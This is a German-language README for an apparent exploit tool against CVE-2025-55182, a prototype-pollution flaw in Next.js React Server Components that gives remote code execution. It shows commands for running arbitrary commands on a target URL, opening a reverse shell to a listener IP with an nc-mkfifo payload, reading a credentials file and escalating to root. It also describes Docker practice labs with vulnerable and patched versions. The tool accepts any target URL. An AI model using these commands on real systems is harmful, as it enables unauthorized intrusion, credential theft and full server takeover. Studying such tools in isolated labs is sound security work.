
Exploit für CVE-2025-55182, der Next.js React Server Components über Prototype Pollution angreift und Remote-Code-Ausführung mit Befehlausführung und Reverse-Shell-Payloads ermöglicht. Enthält Docker-Lab-Umgebungen zum Üben.
Nutzt CVE-2025-55182 für Remote-Codeausführung (RCE) über Prototype Pollution aus.
Autor: Severian N.K.
Dieses Tool nutzt eine Prototype-Pollution-Schwachstelle in Next.js-Anwendungen mit React Server Components aus, die zu Remote Code Execution (RCE) führt. Es unterstützt sowohl die direkte Befehlsausführung als auch Reverse Shells.
Dieses Projekt verwendet eine Python-Virtual-Environment zur Verwaltung der Abhängigkeiten. Stellen Sie zunächst sicher, dass Python 3 installiert ist.
Virtuelle Umgebung einrichten:
python3 -m venv venv
Umgebung aktivieren und Abhängigkeiten installieren:
source venv/bin/activate
pip install -r requirements.txt
Stellen Sie sicher, dass die virtuelle Umgebung aktiviert ist (source venv/bin/activate), bevor Sie den Exploit ausführen.
Um einen einzelnen Befehl auf dem Ziel auszuführen:
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
Beispiel:
python3 exploit.py -u http://example.com -c "id"
Um eine Reverse Shell vom Ziel zu erhalten:
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
Beispiel:
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
Das Verzeichnis lab/ enthält zwei unabhängige Docker-Umgebungen:
lab/vulnerable): Läuft auf Port 3000.lab/patched): Läuft auf Port 3001.cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
Erreichbar unter: http://localhost:3000
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
Erreichbar unter: http://localhost:3001
Sie müssen Ihre Listener-IP (--lhost) und den Port (--lport) angeben. Ihre Docker-Bridge-IP finden Sie mit ip addr show docker0 (normalerweise 172.17.0.1).
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
Hinweis: Wir verwenden
-P nc-mkfifo, weil das Ziel unter Alpine Linux läuft und einen bestimmten Payload-Typ erfordert.
Der verwundbare Container stellt eine geheime Datei bereit.
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!
Sie können mit den kompromittierten Anmeldedaten von nextjs zu root eskalieren.
su - manager (Passwort: SuperSecret2025!)sudo su (Passwort: SuperSecret2025!)cat /root/flag.txt
# Output: Congratulations! You have gained full control over the system!
Beiträge sind willkommen! Wenn Sie einen Fehler finden oder eine Idee für eine Verbesserung haben, eröffnen Sie bitte ein Issue oder reichen Sie einen Pull Request ein.